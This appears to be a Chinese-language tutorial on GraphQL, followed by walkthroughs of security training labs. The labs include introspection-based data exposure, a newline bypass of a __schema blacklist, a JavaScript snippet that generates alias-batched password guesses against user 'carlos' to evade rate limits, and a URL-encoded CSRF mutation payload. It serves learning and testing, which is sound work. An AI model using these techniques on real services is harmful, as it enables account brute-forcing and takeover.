GraphQL
什么是GraphQL?
GraphQL 其实就是一种api查询语言,其可以对api端点的数据进行查询,修改删除,和订阅。
什么是GrapQL的查询
其实也就是query关键词
比如如下代码1
2
3
4
5
6query myGetProductQuery {
getProduct(id: 123) {
name
description
}
}
其中myGetProductQuery是我们自定义的,数据名查询后的内容会以这个为key值
内部的getProduct(id: 123),这个操作其实就是类似于调用一个内部已经定义好的函数,传入的参数是id值为123,内部的name和description其实就是要求其返回的数据段。
什么是 GraphQL mutations
mutations就是以某一种方法来更改数据,添加和删除数据。这个结构其实和查询差不多,其实也是调用了内部自定义好的接口1
2
3
4
5
6
7mutation {
createProduct(name: "Flamin' Cocktail Glasses", listed: "yes") {
id
name
listed
}
}
1 | { |
变量
graphql是可以设置变量的1
2
3
4
5
6
7
8
9
10
11
12
13
14query getEmployeeWithVariable($id: ID!) {
getEmployees(id:$id) {
name {
firstname
lastname
}
}
}
Variables:
{
"id": 1
}
在查询这类操作中一个使用$xx来代表变量然后再Variables字段设置变量的值
别名
1 | query getProductDetails { |
GraphQL可以设置别名如上面的,设置别名的原因主要是返回的是json,而GraphQL再查询时返回的值会包含查询的名称,如果查询时出现两个相同的就会出现问题于是就有了别名,让其返回两个不同的json key值1
2
3
4
5
6
7
8
9
10
11
12{
"data": {
"product1": {
"id": 1,
"name": "Juice Extractor"
},
"product2": {
"id": 2,
"name": "Fruit Overlays"
}
}
}
Fragments
Fragments就是一个定义好的字段组合,再query和mutation时可以直接使用Fragments1
2
3
4
5
6
7
8
9
10
11fragment productInfo on Product {
id
name
listed
}
query {
getProduct(id: 1) {
...productInfo
stock
}
}
Subscriptions
Subscriptions是一种特殊类型的查询。它们使客户端能够与服务器建立长期连接,以便服务器可以将实时更新推送到客户端,而无需持续轮询数据。它们主要用于对大型对象的微小更改以及需要小型实时更新的功能(如聊天系统或协作编辑)。
与常规查询和突变一样,订阅请求定义要返回的数据的形状。
订阅通常使用 WebSocket 实现。
Introspection
Introspection 是一个内置的 GraphQL 函数,使您能够查询服务器以获取有关架构的信息。它通常由 GraphQL IDE 和文档生成工具等应用程序使用。
与常规查询一样,您可以指定要返回的响应的字段和结构。例如 您可能希望响应仅包含可用突变的名称。
内省可能代表严重的信息泄露风险,因为它可用于访问潜在的敏感信息 信息(例如字段描述),并帮助攻击者了解如何与 API 交互。是的 在生产环境中禁用自省的最佳实践。
图形化界面
https://apis.guru/graphql-voyager/
靶场
访问私有GraphQL帖子
一点进去就可以发现GraphQL端点
使用bp自带的功能来进行GraphQL内省
我们可以将内省的结果发送到https://apis.guru/graphql-voyager/进行图形化的查看
可以发现BlogPost是存在postPassword的
我们可以将这个请求发送到inQL插件这个插件会对内省查询的结果进行分类。并写好查询语句
通过getAllBlogPosts我们可以发现其批量查询的结果中没有id=3的数据
我们通过page来搜索运行id为三的内容
发现了
意外暴露私有GraphQL字段
可以发现查询用户的查询
直接查询得到了用户密码
然后登陆删除账号即可
查找隐藏的GraphQL端点
发现一个api
发送隔请求发现其返回400告诉我们请求为空
这个可能是GraphQL导致的报错我们可以尝试使用GraphQL请求试试1
/api?query=query{__typename}

果然存在直接产生内审
发现其加了黑名单其禁止__schema和__type
遇到这种情况可以尝试再后面加上换行符进行饶过
这个端点只能GET请求,inql的get请求好像有问题。但是没问题可以将其保存为文件如何加载
只有一个查询id和name的和删除用户的、

input直接输入3会发现报错{value:3}猜测input是一个查询的匹配如id=3 username=xxx这种
绕过GraphQL暴力保护
使用GraphQL可以饶过密码爆破的速率限制使用别名来通过一个请求进行多次登陆尝试1
2
3
4
5
6copy(`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`.split(',').map((element,index)=>`
bruteforce$index:login(input:{password: "$password", username: "carlos"}) {
token
success
}
`.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));console.log("The query has been copied to your clipboard.");
上面的脚本就是将密码一个个替换到下面的payload中
将上面的js脚本再控制台运行就可以将payload复制到剪切板。
通过GraphQL执行CSRF漏洞
这是因为GraphQL可能导致不通过csrf_token来进行csrf攻击
将json的请求转换为post url的请求1
query=%0D%0A++++mutation+changeEmail%28%24input%3A+ChangeEmailInput%21%29+%7B%0D%0A++++++++changeEmail%28input%3A+%24input%29+%7B%0D%0A++++++++++++email%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A&operationName=changeEmail&variables=%7B%22input%22%3A%7B%22email%22%3A%22wiener1111%40normal-user.net%22%7D%7D
如何使用bp转为csrf请求即可实现csrf攻击





